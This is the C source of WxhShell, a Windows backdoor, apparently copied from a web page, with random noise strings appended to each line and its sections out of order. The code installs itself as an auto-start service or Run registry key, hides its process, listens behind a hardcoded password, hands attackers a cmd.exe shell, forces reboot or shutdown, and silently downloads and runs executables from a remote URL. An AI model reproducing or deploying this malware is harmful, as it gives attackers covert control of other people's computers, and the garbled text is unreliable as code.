    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #!Iez vWf  
    else { _Qy3A T~  
    closesocket(wsh); )ca^%(25!z  
    ExitThread(0); @w1@|"6vF  
    } | v? pS  
    break; DRldRm/  
    } j8@ Eqh  
  // 获取shell l@+WGh  
  case 's': { jB8n\8 Bs  
    CmdShell(wsh); ],*^wQ   
    closesocket(wsh); "K EB0U  
    ExitThread(0); #+V5$  
    break; ;4jRsirx9  
  } Mr}]P(4h  
  // 退出 -+1it  
  case 'x': { ^*7~ Wxk5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nw'3gJ:  
    CloseIt(wsh); j@0/\:1(U  
    break; \NYtxGV[Z  
    } P# o/S4  
  // 离开 !Jo3>!,j  
  case 'q': { %IS'R`;3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ALw5M'6q0\  
    closesocket(wsh); ={9G.%W  
    WSACleanup(); [\o+I:,}wi  
    exit(1); 1v TncU!  
    break; WZk\mSNV  
        } q% Eze  
  } |Rr^K5hmD  
  } &a?&G'?  
BX[92~Bq  
  // 提示信息 _VU/j9<+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,}M@Am0~  
} ETP}mo  
  } d*26;5~\  
!GkwbHr+p  
  return; im&E \`L7  
} S~1>q+<Q  
k^q}F%UV  
// shell模块句柄 bl|k6{A  
int CmdShell(SOCKET sock) 15Vb`Vf`N  
{ #C?T  
STARTUPINFO si; |H67ny&K^&  
ZeroMemory(&si,sizeof(si)); [Rh[Z# 6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gY AXUM,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .p%p_  
PROCESS_INFORMATION ProcessInfo; .. qAE.%%  
char cmdline[]="cmd"; } d / 5_X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +w Oa  
  return 0; ,jWMJ0X/N=  
} i/rdPbq  
I xT[1$e  
// 自身启动模式 ; Xy\7tx  
int StartFromService(void) uLYz!E+E  
{ e{edI{g  
typedef struct !1f8~"Z  
{ hWK}] gF  
  DWORD ExitStatus; cq'opjLf5  
  DWORD PebBaseAddress; 0N3 cC4!  
  DWORD AffinityMask; SWr?>dl  
  DWORD BasePriority; \H$Ps9Xh  
  ULONG UniqueProcessId; !dfc1UjB  
  ULONG InheritedFromUniqueProcessId; *|MHQp'A  
}   PROCESS_BASIC_INFORMATION; V\zf yH\~  
Wvl>iHB  
PROCNTQSIP NtQueryInformationProcess; v}hmI']yf  
Dm/# \y3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eqcV70E8cK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mrDIt4$D  
P&3'N~k-  
  HANDLE             hProcess; 96aA2s1  
  PROCESS_BASIC_INFORMATION pbi; :>to?~Z1  
dzZ74FE!t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -f0Nb+AR  
  if(NULL == hInst ) return 0; jR@j+p^e  
X>mY`$!/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P  F!S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r]eeKV,{p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >9c$2d|>  
]!J 6S.@#+  
  if (!NtQueryInformationProcess) return 0; @SA*7[?P  
jw$3cwddH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4C^;lK  
  if(!hProcess) return 0; P"0S94o:5J  
W=M`Bkw{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <}b`2/wP  
%sb)U~gP  
  CloseHandle(hProcess); .lfKS!m2  
ud K)F$7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'v^CA}  
if(hProcess==NULL) return 0; c[ ]_gUp8  
d3h2$EDD  
HMODULE hMod; U'S}7gya  
char procName[255]; ]Q=D'1 MM  
unsigned long cbNeeded; k"|4 LPv[  
'3Yci(t+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;cl\$TDL  
Uw^`_\si  
  CloseHandle(hProcess); Zrp`91&I  
jC1mui|Y^  
if(strstr(procName,"services")) return 1; // 以服务启动 h+Km|  
tS,nO:+x  
  return 0; // 注册表启动 |du@iA]dP  
} *,hS-  
 t4pc2b  
// 主模块 _ngyai1  
int StartWxhshell(LPSTR lpCmdLine) ?)x>GB(9ZN  
{ !YL|R[nDH|  
  SOCKET wsl; ([zt}uf  
BOOL val=TRUE; DGr{x}Kq  
  int port=0; \B"5 Kp<  
  struct sockaddr_in door; Z<ozANbk  
oK&LYlU  
  if(wscfg.ws_autoins) Install(); j <>|Hi #`  
^,')1r,  
port=atoi(lpCmdLine); 24"Trg\WK[  
O[f*!  
if(port<=0) port=wscfg.ws_port; Ed,`1+  
f7 V36Q8  
  WSADATA data; ZzLmsTtzIu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $8o(_8Q)  
\|nF55W [  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1"3|6&=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^RytBwzKM  
  door.sin_family = AF_INET; LziEF-_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6H67$?jMyJ  
  door.sin_port = htons(port); <jF]SN  
cc7*O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^D\1F$AjC  
closesocket(wsl); xc[@lr  
return 1; 0ZPwEP  
} EZaWEW  
/kE3V`es  
  if(listen(wsl,2) == INVALID_SOCKET) { 9@  [R>C  
closesocket(wsl); 9K~2!<  
return 1; xy$73K6  
} b'Qia'a%  
  Wxhshell(wsl); "P HkbU  
  WSACleanup(); {8UYu2t  
*"` dO9Yf_  
return 0; *T j(IN  
OiX:h#  
} ^pZ1uN!b  
jW*|Mu>2  
// 以NT服务方式启动 TjxZ-qw<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <uUQ-]QOIh  
{ ES!$JWK|  
DWORD   status = 0; / PG+ s6  
  DWORD   specificError = 0xfffffff; =3OK 3|  
km2('t7?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;LE4U OK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; } r$&"wYM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /%9D$\  
  serviceStatus.dwWin32ExitCode     = 0; K: g_M  
  serviceStatus.dwServiceSpecificExitCode = 0; Nq1la8oQ3  
  serviceStatus.dwCheckPoint       = 0; }# 'wy  
  serviceStatus.dwWaitHint       = 0; :b)IDcW&j:  
=gS?atbX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J#vIz  Q  
  if (hServiceStatusHandle==0) return; '_,/N!-V  
M*FUtu  
status = GetLastError(); P:h;"  
  if (status!=NO_ERROR) J$  
{ `<!Nk^2ap  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; exw~SvT3  
    serviceStatus.dwCheckPoint       = 0; &C<K|F!j!  
    serviceStatus.dwWaitHint       = 0; cHOtMPyQ  
    serviceStatus.dwWin32ExitCode     = status; MTo<COp($  
    serviceStatus.dwServiceSpecificExitCode = specificError; nmZz`P9g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); << `*o[^L  
    return; :;W[@DeO[  
  } B.CUk.  
xF: O6KL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &<6E*qM  
  serviceStatus.dwCheckPoint       = 0; *,<A[XP  
  serviceStatus.dwWaitHint       = 0; vdw5T&Q{{C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z<aBGG  
} tJ[yx_mf  
YXI_ '  
// 处理NT服务事件,比如:启动、停止 aTS\NpK&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XWN ra  
{ <WFA3  
switch(fdwControl) G n"]<8yl~  
{ |N_tVE  
case SERVICE_CONTROL_STOP: m3W:\LTTp  
  serviceStatus.dwWin32ExitCode = 0; $U%M]_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H'k$<S  
  serviceStatus.dwCheckPoint   = 0; I^"ou M9}Q  
  serviceStatus.dwWaitHint     = 0; /aS=vjs  
  { /ivcqVu]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _R&mN\ey5  
  } yO*~)ALb+  
  return; mM&Sq;JJ;  
case SERVICE_CONTROL_PAUSE: "%fh`4y3\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ws8@y r<R  
  break; zQ3m@x  
case SERVICE_CONTROL_CONTINUE: +GCN63 nX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {hQ0=rv<  
  break; a(AKVk\  
case SERVICE_CONTROL_INTERROGATE: ,Y *unk<S  
  break; f%vJmpg  
}; ~hK7(K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \7rAQ[\#V  
} rk$&sDc/3  
)!6JSMS  
// 标准应用程序主函数 B1<:nl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) np2oXg%  
{ MzjV>.  
@>`+eg][?P  
// 获取操作系统版本 $A~UA  
OsIsNt=GetOsVer(); 7P1G^)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iV9wqUkMv  
&"H xAK)f  
  // 从命令行安装 HYVSi3[  
  if(strpbrk(lpCmdLine,"iI")) Install(); {UqSq  
EmrUzaGD  
  // 下载执行文件 $!Z><&^/  
if(wscfg.ws_downexe) { :5)Dn87  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,n\"zYf ]^  
  WinExec(wscfg.ws_filenam,SW_HIDE); kc*zP=  
} 1 & G0;  
q5 eyle6  
if(!OsIsNt) { eC%uu  
// 如果时win9x,隐藏进程并且设置为注册表启动  1B}q?8n  
HideProc(); |-Rg].  
StartWxhshell(lpCmdLine); (al.7VA;9  
} Pdgn9  
else A8,9^cQ]  
  if(StartFromService()) E/bIq}R6  
  // 以服务方式启动 1.S7MSpTV  
  StartServiceCtrlDispatcher(DispatchTable); :`u?pc27Sm  
else /|7@rH([{  
  // 普通方式启动 b"D? @dGB,  
  StartWxhshell(lpCmdLine); (!b_o A8V  
~ZrSoVP=  
return 0; )m8ve)l  
} .II*wK k  
eKRslMa  
y{ & k`H  
C]@v60I  
=========================================== ?yAp&Ad  
un*Ptc2%  
8H2zM IB  
g%C!)UbT  
oJ\)-qSf  
}iGpuoXT`  
" ~bm VpoI  
!-G'8a|7  
#include <stdio.h> {;:QY 1Q T  
#include <string.h> By3y.}'Ub9  
#include <windows.h> .&z/p3 1  
#include <winsock2.h> Z|78>0SAt  
#include <winsvc.h> l'yX_`*Iq  
#include <urlmon.h> woSO4e/  
 ywQ>T+  
#pragma comment (lib, "Ws2_32.lib") Tbf@qid e  
#pragma comment (lib, "urlmon.lib") A%Ov.~&\G  
0wFa7PyG?  
#define MAX_USER   100 // 最大客户端连接数  (~59}lu~  
#define BUF_SOCK   200 // sock buffer Vgh;w-a  
#define KEY_BUFF   255 // 输入 buffer =D&xw2  
4Sj;38F .1  
#define REBOOT     0   // 重启 D\~s$.6B  
#define SHUTDOWN   1   // 关机 "hE/f~\  
#=}dv8  
#define DEF_PORT   5000 // 监听端口 gzHMZ/31  
`zRE$O  
#define REG_LEN     16   // 注册表键长度 1\'?.  
#define SVC_LEN     80   // NT服务名长度 %_kXC~hH_  
FWi c/7  
// 从dll定义API ">{Ruv}$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZQL4<fy'E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fPW|)e"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,^Cl?\9"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "-y 2En  
7m4gGkX#r  
// wxhshell配置信息 >"OwdAvX  
struct WSCFG { T9s$IS,  
  int ws_port;         // 监听端口 k!&G ;6O-  
  char ws_passstr[REG_LEN]; // 口令 y_s^dQe  
  int ws_autoins;       // 安装标记, 1=yes 0=no -dj9(~?^  
  char ws_regname[REG_LEN]; // 注册表键名 [RAzKzC\M  
  char ws_svcname[REG_LEN]; // 服务名 4t C-msTf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o {W4@:Ib  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jY~W*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SxX2+|0g`g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #!A'6SgbkM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9s#Q[\B!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6%j v|\>  
U<pG P  
}; 8fG$><@  
=up!lg^M  
// default Wxhshell configuration 8+7n"6GY2/  
struct WSCFG wscfg={DEF_PORT, gI~4A,  
    "xuhuanlingzhe", I.4o9Z[?  
    1, b I%Sq+"}  
    "Wxhshell", BzVF!<!  
    "Wxhshell", "e3T;M+  
            "WxhShell Service", @;6I94Bp  
    "Wrsky Windows CmdShell Service", vb&1 S  
    "Please Input Your Password: ", YK=o[nPmK  
  1, gv6}GE  
  "http://www.wrsky.com/wxhshell.exe", )}Vb+  
  "Wxhshell.exe" \zdY$3z  
    }; fGwRv% $^  
{?!0<0  
// 消息定义模块 Gp l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =6sA49~M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :jKiHeBQu?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (plsL   
char *msg_ws_ext="\n\rExit."; wt@Qjbqd8  
char *msg_ws_end="\n\rQuit."; k@[P\(a3b  
char *msg_ws_boot="\n\rReboot..."; u|.c?fW'3  
char *msg_ws_poff="\n\rShutdown..."; @|=JXSr!KY  
char *msg_ws_down="\n\rSave to "; ?k 4|;DD  
@nh* H{  
char *msg_ws_err="\n\rErr!"; u|G&CV#r  
char *msg_ws_ok="\n\rOK!"; ?Nbc#0pb7  
]_hrYjX;  
char ExeFile[MAX_PATH]; Tc3~~X   
int nUser = 0; |}FK;@'I6  
HANDLE handles[MAX_USER]; 8et*q3D7`  
int OsIsNt; Q#h*C ZT  
odPdWV,&*  
SERVICE_STATUS       serviceStatus; 'Nqa=_<WW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; . `ND  
7CGxM  
// 函数声明 "3?N*,U_  
int Install(void); I,nW~;OV0  
int Uninstall(void); 7 6} a  
int DownloadFile(char *sURL, SOCKET wsh); u2FD@Xq?  
int Boot(int flag); + Cf  
void HideProc(void); 5PRS|R7  
int GetOsVer(void); +L]$M)*0&  
int Wxhshell(SOCKET wsl); `Z' h[-2`  
void TalkWithClient(void *cs); 6-+q3#e  
int CmdShell(SOCKET sock); _Yms]QEZ  
int StartFromService(void); }+m")=1{  
int StartWxhshell(LPSTR lpCmdLine); Sc?UjEs  
O:I"<w9_1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xMpQPTte  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /A4^l]H;+3  
&Q>tV+*  
// 数据结构和表定义 k^%Kw(/  
SERVICE_TABLE_ENTRY DispatchTable[] = KJs/4oR;  
{ q!OB?03n  
{wscfg.ws_svcname, NTServiceMain}, 1Z$` }a  
{NULL, NULL} K<g<xW*X  
}; Ofm?`SE*|  
IQm[ ,Fh  
// 自我安装 Twi7g3}/jB  
int Install(void) r](%9Y  
{ =dp(+7Va  
  char svExeFile[MAX_PATH]; 1FPt%{s3  
  HKEY key; C||9u}Q<  
  strcpy(svExeFile,ExeFile); A><q-`bw  
l$\OSG  
// 如果是win9x系统,修改注册表设为自启动 P{gGvC,  
if(!OsIsNt) { B(zcoWQ*B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GdlzpBl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h,palP6^  
  RegCloseKey(key); O,c}T7A'?w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j{`C|zg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }j_2K1NS{  
  RegCloseKey(key); KT9!R  
  return 0; *Bm7>g6  
    } C@ns`Eh8w  
  } BB.^[:,dA  
} V9 J`LQ\0  
else { gR]NH  
xl]1{$1M  
// 如果是NT以上系统,安装为系统服务 nl\l7/}6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !4 =]@eFk  
if (schSCManager!=0) pVa9g)+z}  
{ ,SQ`, C _5  
  SC_HANDLE schService = CreateService "gQ-{ W  
  ( ]E:K8E  
  schSCManager, 3$yOv "`  
  wscfg.ws_svcname, ~ZuFMVR  
  wscfg.ws_svcdisp, <pXF$a:s  
  SERVICE_ALL_ACCESS, iLIv<VK/d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cN&]JS,  
  SERVICE_AUTO_START, P2t{il   
  SERVICE_ERROR_NORMAL, bgNN0,+8  
  svExeFile, \$B%TY  
  NULL, yd>b2 M  
  NULL, +! F+m V9  
  NULL, p7{%0  
  NULL, ;iq58.  
  NULL v"I#.{LiH=  
  ); |}07tUq  
  if (schService!=0) {}A1[ Y|  
  { 'Y;M%  
  CloseServiceHandle(schService); @,i_Gw)  
  CloseServiceHandle(schSCManager); U%?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ~0T;T  
  strcat(svExeFile,wscfg.ws_svcname); tF&g3)D:NV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %%c1@2G<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0LW|5BVbIO  
  RegCloseKey(key); }QzF.![~z  
  return 0; Q/2(qD; u  
    } 5nA *'($j  
  } 1!P\x=Nn_  
  CloseServiceHandle(schSCManager); 7/>#yR  
} GX\6J]x=^2  
} 8rEUZk  
Mcfqo0T-  
return 1; .I#ss66h  
} {Y7dE?!`7  
,jc')#]9B  
// 自我卸载 - fx?@  
int Uninstall(void) Gdu5 &]H#6  
{ )a=58r07  
  HKEY key; qZwqnH  
t"Tv(W?_  
if(!OsIsNt) { t8:QK9|1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m~;}8ObQE  
  RegDeleteValue(key,wscfg.ws_regname); R<eD)+  
  RegCloseKey(key); M}Obvl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )&F]j  
  RegDeleteValue(key,wscfg.ws_regname); HVLj(_ A  
  RegCloseKey(key); 9V0@!M8S  
  return 0; H(rK39Q  
  } ENhKuX  
} z^z,_?q;  
} 0Uf.aP  
else { (/;<K$u*h  
B(t`$mC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AC}[Q p!  
if (schSCManager!=0) N, SbJ Z  
{ M8y:FDX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7ZR0cJw;  
  if (schService!=0) l RM7s(^l  
  { tM DJ,rT  
  if(DeleteService(schService)!=0) { 6!T9VL\=H  
  CloseServiceHandle(schService); /YrBnccqD  
  CloseServiceHandle(schSCManager); q?0&&"T}  
  return 0; =&,<Co1hF  
  } +aoenUm5  
  CloseServiceHandle(schService); SF. Is=b  
  } vP @\"  
  CloseServiceHandle(schSCManager); =6Q\78b  
} $s S;#r0  
} sL",Ho  
P ?A:0a  
return 1; ODFCA. t  
} 5==hyIy  
DV!10NqUr  
// 从指定url下载文件 @lhjO>@#I  
int DownloadFile(char *sURL, SOCKET wsh) 6cVJu%<V  
{ jV 98 2Y  
  HRESULT hr; [~Vj(H=KwI  
char seps[]= "/"; $Le|4Hj  
char *token; 3bBCA9^se  
char *file; (ptk!u6  
char myURL[MAX_PATH];  &peUC n  
char myFILE[MAX_PATH]; !3;KC"o  
W&Xm_T[ Q  
strcpy(myURL,sURL); o$rA;^2X  
  token=strtok(myURL,seps); Y=$PsDh!  
  while(token!=NULL) DOB#PI [/  
  { uN*Ynf(:-  
    file=token; ;_iDiLC;  
  token=strtok(NULL,seps); ;kfl5  
  } 6+LBs.vl}  
E'iN==p_:  
GetCurrentDirectory(MAX_PATH,myFILE); m/bP`-/,  
strcat(myFILE, "\\"); EN-;@P9;C  
strcat(myFILE, file); Y9r##r+  
  send(wsh,myFILE,strlen(myFILE),0); H[o >"@4  
send(wsh,"...",3,0); ~Iz{@Ep*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nmWo:ox4;(  
  if(hr==S_OK) AO~f=GW  
return 0; k%Wj+\93 f  
else EC`=nGF  
return 1; -PiakX  
Q`)iy/1M  
} iY;>LJmp  
%/}46z9\  
// 系统电源模块 mzm{p(.  
int Boot(int flag) WvN{f*  
{ $, vX yZ  
  HANDLE hToken; e.Gjp {  
  TOKEN_PRIVILEGES tkp; OSY.$$IO  
M"s+k  
  if(OsIsNt) { >XJUj4B|X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ep)O|_=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H~<w*[uT  
    tkp.PrivilegeCount = 1; Y ow  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yB5JvD ?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4'# ?"I  
if(flag==REBOOT) { ! z6T_;s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9$s~ `z)  
  return 0; 4o3TW#  
} =Y {<&:%(  
else { :um]a70  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .X\9vVJ  
  return 0; 7fXta|eP0  
} {v,NNKQ4x  
  } bR'UhPs-8;  
  else { 3XSfXS{lwP  
if(flag==REBOOT) { oYAHyCkVq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %Xe 74C"  
  return 0; {v}BtZ  
} Px?zih!6  
else { S~hoAl"xb/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i5#4@ 4aC  
  return 0; MG:eI?G/'  
} sH51 .JG  
} &2sfu0K  
^E&WgXlb  
return 1; !6FO[^h||H  
} [79iC$8B|  
ksy]t |  
// win9x进程隐藏模块 5kLz8n^z@@  
void HideProc(void) JXQh$hs  
{ HlOn=>)<  
U(:Di]>{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1b,MJ~g$  
  if ( hKernel != NULL ) w&x$RP  
  { >Vph_98|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h'.B-y~c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a`6R}|ZB  
    FreeLibrary(hKernel); Dg}$;PK  
  } $ww0$  
;[B-!F>  
return; '0<9+A#  
} Sf'uKSX1%  
D9JHx+Xf>  
// 获取操作系统版本 UIC~%?oIA  
int GetOsVer(void) q$'D}OHT  
{ S*V!t=  
  OSVERSIONINFO winfo; q,T4- E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DCKH^J   
  GetVersionEx(&winfo); M \UB r4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o&MOcy D  
  return 1; opgNt o6$  
  else %[x PyqX  
  return 0; qF Xx/FZ  
} 8EY]<#PN  
ihd^P]  
// 客户端句柄模块 UsgrI>|l  
int Wxhshell(SOCKET wsl) TjS &V  
{ O+"a 0:GM  
  SOCKET wsh; 3(`P x}  
  struct sockaddr_in client; ]cM,m2^2  
  DWORD myID; GL,( N|  
.'bhRQY  
  while(nUser<MAX_USER) ^{a_:r"  
{ Hm'aD2k  
  int nSize=sizeof(client); +!mEP>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -5Oy k,  
  if(wsh==INVALID_SOCKET) return 1; Ff1!+P,  
D"CU J?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {a0yHy$H  
if(handles[nUser]==0) IXpn(vX  
  closesocket(wsh); Zp/$:ny  
else <>H^:iqn  
  nUser++; jI%glO'2  
  } *iVE O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (_=R<:  
{uurLEe?  
  return 0; 3.6Gh|7  
} 1D1qOg"LE  
:!wl/X ~  
// 关闭 socket *tfD^nctO  
void CloseIt(SOCKET wsh) vZ1?4hG  
{ Lk.tEuj=82  
closesocket(wsh); QzxEkTc;  
nUser--; ?2,{+d |  
ExitThread(0); &qP0-x)  
} n(W&GSj|u9  
[l}H%S   
// 客户端请求句柄 x/0loW?q^  
void TalkWithClient(void *cs) t==\D?Rt  
{ y@rg_Paq  
VIg6'  
  SOCKET wsh=(SOCKET)cs; L *cP8v4  
  char pwd[SVC_LEN]; 8^67,I-c  
  char cmd[KEY_BUFF]; L_q3m-x0h  
char chr[1]; WAf"|  
int i,j; uH)?`I\zrd  
.'NTy R  
  while (nUser < MAX_USER) { +F*h\4ry#  
q6}KOO)  
if(wscfg.ws_passstr) { NAOCQDk{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7^C&2k 5G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iN_P25Z<r  
  //ZeroMemory(pwd,KEY_BUFF); /[!<rhY  
      i=0; g(i8HU*{q  
  while(i<SVC_LEN) { {E0\mZ2  
w?P ex]i{  
  // 设置超时  uU=!e&3  
  fd_set FdRead; Ygc|9}  
  struct timeval TimeOut; Tj+U:#!!~  
  FD_ZERO(&FdRead); S]NT+XM  
  FD_SET(wsh,&FdRead); =#vJqA  
  TimeOut.tv_sec=8; _9'hmej  
  TimeOut.tv_usec=0; qWJHb Dd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t N4-<6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |g'ceG-  
 U4qk<!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R_b4S%jhx  
  pwd=chr[0]; yMt:L)+  
  if(chr[0]==0xd || chr[0]==0xa) { 13pu{Xak  
  pwd=0; i,t!17M:  
  break; `g <0FQA  
  } frc9   
  i++; v3{%U1>}v  
    } \VWgF)_  
\/b[V3<"  
  // 如果是非法用户,关闭 socket F"1tPWn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N 1ydL  
} gq@8Z AWn  
;*0nPhBw0>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2.vmZaKP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CY.4>,  
1Vc~Sa  
while(1) { _mJhY0Oc  
iCCe8nK  
  ZeroMemory(cmd,KEY_BUFF); ]E)\>Jb  
'bsHoO  
      // 自动支持客户端 telnet标准   C DoD9Hq,  
  j=0; nw_s :  
  while(j<KEY_BUFF) { L4Kg%icz l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); al9( 9)  
  cmd[j]=chr[0]; _%Yi ^^  
  if(chr[0]==0xa || chr[0]==0xd) { Uq~b4X$  
  cmd[j]=0; P- +]4\  
  break; xGFbh4H=8p  
  } O3mw5<%15  
  j++; T8&eaAoo  
    } 97~>gFU77#  
OZC yg/K  
  // 下载文件 jFip-=T{4  
  if(strstr(cmd,"http://")) { jGT|Xo>t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .FV^hrJxI;  
  if(DownloadFile(cmd,wsh)) ,Xr`tQ<@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KuW>^mF(I  
  else )FPn_p#3]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5SZa, +]  
  } O /:FY1  
  else { \w"~DuA  
*K|ah:(r1\  
    switch(cmd[0]) { zR <fz  
